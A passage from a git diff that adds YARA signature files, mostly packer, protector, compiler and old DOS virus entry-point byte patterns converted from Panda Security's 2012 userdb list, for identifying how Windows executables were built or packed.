+	condition:
+		$0
+}
+rule _PseudoSigner_02_Gleam_100_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Gleam 1.00]"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Wind_of_Crypt_10__by_DarkPressure_
+{
+	meta:
+		description = "Wind of Crypt 1.0 - by DarkPressure"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 64 40 00 10 E8 28 EA FF FF 33 C0 55 68 CE 51 00 10 64 ?? ?? ?? ?? 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 F6 DB FF FF 8B 45 EC E8 12 E7 FF FF 50 E8 3C EA FF FF 8B D8 83 FB FF}
+		$1 = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 64 40 00 10 E8 28 EA FF FF 33 C0 55 68 CE 51 00 10 64 ?? ?? ?? ?? 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 F6 DB FF FF 8B 45 EC E8 12 E7 FF FF 50 E8 3C EA FF FF 8B D8 83 FB FF 0F 84 A6 00 00 00 6A 00 53 E8 41 EA FF FF 8B F0 81 EE 00 5E 00 00 6A 00 6A 00 68 00 5E 00 00 53 E8 52 EA FF FF B8 F4 97 00 10 8B D6 E8 2E E7 FF FF B8 F8 97 00 10 8B D6 E8 22 E7 FF FF 8B C6 E8 AB D8 FF FF 8B F8 6A 00 68 F0 97 00 10 56 A1 F4 97 00 10 50 53 E8 05 EA FF FF 53 E8 CF E9 FF FF B8 FC 97 00 10 BA E8 51 00 10 E8 74 EA FF FF A1 F4 97 00 10 85 C0 74 05 83 E8 04 8B 00 50 B9 F8 97 00 10 B8 FC 97 00 10 8B 15 F4 97 00 10 E8 D8 EA FF FF B8 FC 97 00 10 E8 5A EB FF FF 8B CE 8B 15 F8 97 00 10 8B C7 E8 EB E9 FF FF 8B C7 85 C0 74 05 E8 E4 EB FF FF 33 C0 5A 59 59 64 89 10 68 D5 51 00 10 8D 45 EC E8 BB E5 FF FF C3 E9 A9 DF FF FF EB F0 5F 5E 5B E8 B7 E4 FF FF 00 00 00 FF FF FF FF 0A 00 00 00 63 5A 6C 56 30 55 6C 6B 70 4D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_v032a_fake_PEBundle_20x__24x__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PEBundle 2.0x - 2.4x) -> emadicius (h)"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 83 BD 9C 38 40 00 01 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _SLR_OPTLINK_1_
+{
+	meta:
+		description = "SLR (OPTLINK) (1)"
+	strings:
+		$0 = {87 C0 EB ?? 71 ?? 02 D8}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v50__v60_
+{
+	meta:
+		description = "Microsoft Visual Basic v5.0 - v6.0"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 ?? 00 00 00 30 ?? 00}
+		$1 = {FF 25 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? FF FF FF}
+	condition:
+		$0 or $1
+}
+rule _eXPressor_v15x__CGSoftLabs_h_
+{
+	meta:
+		description = "eXPressor v1.5x -> CGSoftLabs (h)"
+	strings:
+		$0 = {55 8B EC 81 EC 58 02 00 00 53 56 57 83 A5 CC FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C 01 75 23}
+	condition:
+		$0 at entrypoint
+}
diff --git a/yara-mikesxrs/unknown/userdb_panda.yara b/yara-mikesxrs/unknown/userdb_panda.yara
new file mode 100644
index 0000000..ab42526
--- /dev/null
+++ b/yara-mikesxrs/unknown/userdb_panda.yara
@@ -0,0 +1,15524 @@
+/*
+	http://research.pandasecurity.com/blogs/images/userdb.txt Oct 10 2012
+*/
+
+rule _Nullsoft_Install_System_v20_
+{
+	meta:
+		description = "Nullsoft Install System v2.0"
+	strings:
+		$0 = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+	condition:
+		$0
+}
+rule _Vx_Keypress1212_
+{
+	meta:
+		description = "Vx: Keypress.1212"
+	strings:
+		$0 = {E8 ?? ?? E8 ?? ?? E8 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EA ?? ?? ?? ?? 1E 33 DB 8E DB BB}
+	condition:
+		$0 at entrypoint
+}
+rule _E2C_by_DoP_
+{
+	meta:
+		description = "E2C by DoP"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? B9 ?? ?? FC 57 F3 A5 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a__emadicius_h_
+{
+	meta:
+		description = "[MSLRH] v0.32a -> emadicius (h)"
+	strings:
+		$0 = {E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8}
+	condition:
+		$0
+}
+rule _LaunchAnywhere_v4001_
+{
+	meta:
+		description = "LaunchAnywhere v4.0.0.1"
+	strings:
+		$0 = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v09781_
+{
+	meta:
+		description = "PECompact v0.978.1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 49 87 40 ?? 87 DD 8B 85 CE 87}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_iBox_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 iBox [LZMA] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 67 30 00 00 8D 9D 66 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v14_
+{
+	meta:
+		description = "Petite v1.4"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 ?? ?? ?? ?? 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _VcAsm_Protector__VcAsm_
+{
+	meta:
+		description = "VcAsm Protector -> VcAsm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v01__Cyberbob_h_
+{
+	meta:
+		description = "PESpin v0.1 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v134__v140b1_
+{
+	meta:
+		description = "PECompact v1.34 - v1.40b1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 00 80 ?? 40 90 90 01 85 9E 80 ?? 40 BB F8 10}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v14xp_
+{
+	meta:
+		description = "PECompact v1.4x+"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+	condition:
+		$0 at entrypoint
+}
+rule _VcasmProtector_10e__vcasm_
+{
+	meta:
+		description = "Vcasm-Protector 1.0e -> vcasm"
+	strings:
+		$0 = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_290_LZMA_Delphi_stub__Markus_Oberhumer_Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX 2.90 [LZMA] (Delphi stub) -> Markus Oberhumer, Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04}
+	condition:
+		$0 at entrypoint
+}
+rule _SLR_OPTLINK_
+{
+	meta:
+		description = "SLR (OPTLINK)"
+	strings:
+		$0 = {BF ?? ?? 8E DF FA 8E D7 81 C4 ?? ?? FB B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v14__CGSoftLabs_h_
+{
+	meta:
+		description = "eXPressor v1.4 -> CGSoftLabs (h)"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 34 2E 2E B8}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_32bit_SFX_v6x_module_
+{
+	meta:
+		description = "WinZip 32-bit SFX v6.x module"
+	strings:
+		$0 = {FF 15 ?? ?? ?? 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10 38 08 74 06 40 80 38 00 75 F6 80 38 00 74 01 40 33 C9 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _ROD_High_TECH__Ayman_
+{
+	meta:
+		description = "ROD High TECH -> Ayman"
+	strings:
+		$0 = {60 8B 15 1D 13 40 00 F7 E0 8D 82 83 19 00 00 E8 58 0C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v155_
+{
+	meta:
+		description = "PECompact v1.55"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A2 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 9E 80 40 ?? BB 2D 12}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v100_
+{
+	meta:
+		description = "PECompact v1.00"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB C4 84 40 ?? 87 DD 8B 85 49 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260_
+{
+	meta:
+		description = "Armadillo v2.60"
+	strings:
+		$0 = {55 8B EC 6A FF 68 D0 ?? ?? ?? 68 34 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 68 ?? ?? ?? 33 D2 8A D4 89 15 84}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_VirusConstructorbased_
+{
+	meta:
+		description = "Vx: VirusConstructor.based"
+	strings:
+		$0 = {BB ?? ?? B9 ?? ?? 2E ?? ?? ?? ?? 43 43 ?? ?? 8B EC CC 8B ?? ?? 81 ?? ?? ?? 06 1E B8 ?? ?? CD 21 3D ?? ?? ?? ?? 8C D8 48 8E D8}
+		$1 = {E8 ?? ?? 5D 81 ?? ?? ?? 06 1E E8 ?? ?? E8 ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B4 4A BB FF FF CD 21 83 ?? ?? B4 4A CD 21}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_V21X__softcompletecom_
+{
+	meta:
+		description = "EXECryptor V2.1X -> softcomplete.com"
+	strings:
+		$0 = {83 C6 14 8B 55 FC E9 ?? FF FF FF}
+	condition:
+		$0
+}
+rule _WWPack32_v100_v111_v112_v120_
+{
+	meta:
+		description = "WWPack32 v1.00, v1.11, v1.12, v1.20"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32}
+	condition:
+		$0 at entrypoint
+}
+rule _A3E_TXT2COM_
+{
+	meta:
+		description = "A3E (TXT2COM)"
+	strings:
+		$0 = {1E 33 C0 50 BE ?? ?? 81 C6 ?? ?? B8 ?? ?? 8E C0 BF ?? ?? B9 ?? ?? F3 A5 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_V15_FEUERRADER_
+{
+	meta:
+		description = "PUNiSHER V1.5-> FEUERRADER"
+	strings:
+		$0 = {3F 00 00 80 66 20 ?? 00 7E 20 ?? 00 92 20 ?? 00 A4 20 ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32}
+	condition:
+		$0
+}
+rule _PECompact_v140__v145_
+{
+	meta:
+		description = "PECompact v1.40 - v1.45"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB C3 11}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v180_
+{
+	meta:
+		description = "Armadillo v1.80"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E8 C1 00 00 68 F4 86 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 E8 C1 00 00 68 F4 86 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _BJFnt_v12_RC_
+{
+	meta:
+		description = ".BJFnt v1.2 RC"
+	strings:
+		$0 = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V036__Dwing_
+{
+	meta:
+		description = "Upack V0.36 -> Dwing"
+	strings:
+		$0 = {BE ?? ?? ?? ?? FF 36 E9 C3 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MASM32_
+{
+	meta:
+		description = "MASM32"
+	strings:
+		$0 = {6A ?? 68 00 30 40 00 68 ?? 30 40 00 6A 00 E8 07 00 00 00 6A 00 E8 06 00 00 00 FF 25 08 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V01XV02X__Dwing_
+{
+	meta:
+		description = "Upack V0.1X-V0.2X -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 95}
+	condition:
+		$0 at entrypoint
+}
+rule _ChinaProtect__dummy____SignByfly_
+{
+	meta:
+		description = "ChinaProtect -> dummy   * Sign.By.fly"
+	strings:
+		$0 = {C3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 56 8B ?? ?? ?? 6A 40 68 00 10 00 00 8D ?? ?? 50 6A 00 E8 ?? ?? ?? ?? 89 30 83 C0 04 5E C3 8B 44 ?? ?? 56 8D ?? ?? 68 00 40 00 00 FF 36 56 E8 ?? ?? ?? ?? 68 00 80 00 00 6A 00 56 E8 ?? ?? ?? ?? 5E C3}
+	condition:
+		$0
+}
+rule _eXPressor_V1451__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.4.5.1 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D}
+		$1 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Necropolis1963_
+{
+	meta:
+		description = "Vx: Necropolis.1963"
+	strings:
+		$0 = {B4 30 CD 21 3C 03 ?? ?? B8 00 12 CD 2F 3C FF B8 ?? ?? ?? ?? B4 4A BB 40 01 CD 21 ?? ?? FA 0E 17 BC ?? ?? E8 ?? ?? FB A1 ?? ?? 0B C0}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypWrap_vxx_
+{
+	meta:
+		description = "CrypWrap vx.x"
+	strings:
+		$0 = {E8 B8 ?? ?? ?? E8 90 02 ?? ?? 83 F8 ?? 75 07 6A ?? E8 ?? ?? ?? ?? FF 15 49 8F 40 ?? A9 ?? ?? ?? 80 74 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PESHiELD_025__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PESHiELD 0.25] --> Anorganix"
+	strings:
+		$0 = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC E9}
+		$1 = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)"
+	strings:
+		$0 = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13}
+		$1 = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13}
+		$2 = {C1 C8 10 EB 01 0F BF 03 74 66 77 C1 E9 1D 68 83 ?? ?? 77 EB 02 CD 20 5E EB 02 CD 20 2B F7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MESS_v120_
+{
+	meta:
+		description = "MESS v1.20"
+	strings:
+		$0 = {FA B9 ?? ?? F3 ?? ?? E3 ?? EB ?? EB ?? B6}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_REALBasic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [REALBasic] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01}
+		$1 = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Hymn1865_
+{
+	meta:
+		description = "Vx: Hymn.1865"
+	strings:
+		$0 = {E8 ?? ?? 5E 83 EE 4C FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 ?? ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 50 06 56 1E 0E 1F B8 00 C5 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Alex_Protector_v04_beta_1_by_Alex_
+{
+	meta:
+		description = "Alex Protector v0.4 beta 1 by Alex"
+	strings:
+		$0 = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68}
+		$1 = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68}
+	condition:
+		$0 or $1
+}
+rule _Shrinker_v32_
+{
+	meta:
+		description = "Shrinker v3.2"
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? ?? 55 8B EC 56 57 75 65 68 00 01 ?? ?? E8 ?? E6 FF FF 83 C4 04 8B 75 08 A3 ?? ?? ?? ?? 85 F6 74 1D 68 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_V145x__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.4.5.x -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 ?? ?? ?? 00 A1 ?? ?? ?? 00 B9 ?? ?? ?? 00 2B 48 18 89 0D ?? ?? ?? 00 83 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _dUP_v2x_Patcher__wwwdiablo2oo2cjbnet_
+{
+	meta:
+		description = "dUP v2.x Patcher --> www.diablo2oo2.cjb.net"
+	strings:
+		$0 = {54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F}
+	condition:
+		$0
+}
+rule _EXE32Pack_v136_
+{
+	meta:
+		description = "EXE32Pack v1.36"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED CC 8D 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v19x_
+{
+	meta:
+		description = "Armadillo v1.9x"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 ?? ?? ?? 68 10 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _Alex_Protector_10_beta_2_by_Alex_
+{
+	meta:
+		description = "Alex Protector 1.0 beta 2 by Alex"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25}
+	condition:
+		$0 or $1
+}
+rule _LCC_Win32_v1x_
+{
+	meta:
+		description = "LCC Win32 v1.x"
+	strings:
+		$0 = {64 A1 ?? ?? ?? ?? 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 ?? 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PROPACK_v208_emphasis_on_packed_size_locked_
+{
+	meta:
+		description = "PRO-PACK v2.08, emphasis on packed size, locked"
+	strings:
+		$0 = {83 EC ?? 8B EC BE ?? ?? FC E8 ?? ?? 05 ?? ?? 8B C8 E8 ?? ?? 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _PCPEC_alpha__preview_
+{
+	meta:
+		description = "PCPEC alpha - preview"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Packanoid__Arkanoid_
+{
+	meta:
+		description = "Packanoid -> Arkanoid"
+	strings:
+		$0 = {BF 00 10 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211c_
+{
+	meta:
+		description = "ASPack v2.11c"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 59 04 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Symantec_C_v400_p_Libraries_
+{
+	meta:
+		description = "Symantec C v4.00 + Libraries"
+	strings:
+		$0 = {FA B8 ?? ?? DB E3 8E D8 8C 06 ?? ?? 8B D8 2B 1E ?? ?? 89 1E ?? ?? 26}
+	condition:
+		$0 at entrypoint
+}
+rule _DIET_v144_v145f_
+{
+	meta:
+		description = "DIET v1.44, v1.45f"
+	strings:
+		$0 = {F8 9C 06 1E 57 56 52 51 53 50 0E FC 8C C8 BA ?? ?? 03 D0 52}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v210b2_
+{
+	meta:
+		description = "Armadillo v2.10b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 18 12 41 00 68 24 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 18 12 41 00 68 24 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PENinja_modified_
+{
+	meta:
+		description = "PENinja modified"
+	strings:
+		$0 = {5D 8B C5 81 ED B2 2C 40 00 2B 85 94 3E 40 00 2D 71 02 00 00 89 85 98 3E 40 00 0F B6 B5 9C 3E 40 00 8B FD}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v014b_
+{
+	meta:
+		description = "CodeCrypt v0.14b"
+	strings:
+		$0 = {E9 C5 02 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _ENIGMA_Protector_V10V12_Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.0-V1.2-> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ?? ?? 81}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_70_DLL_
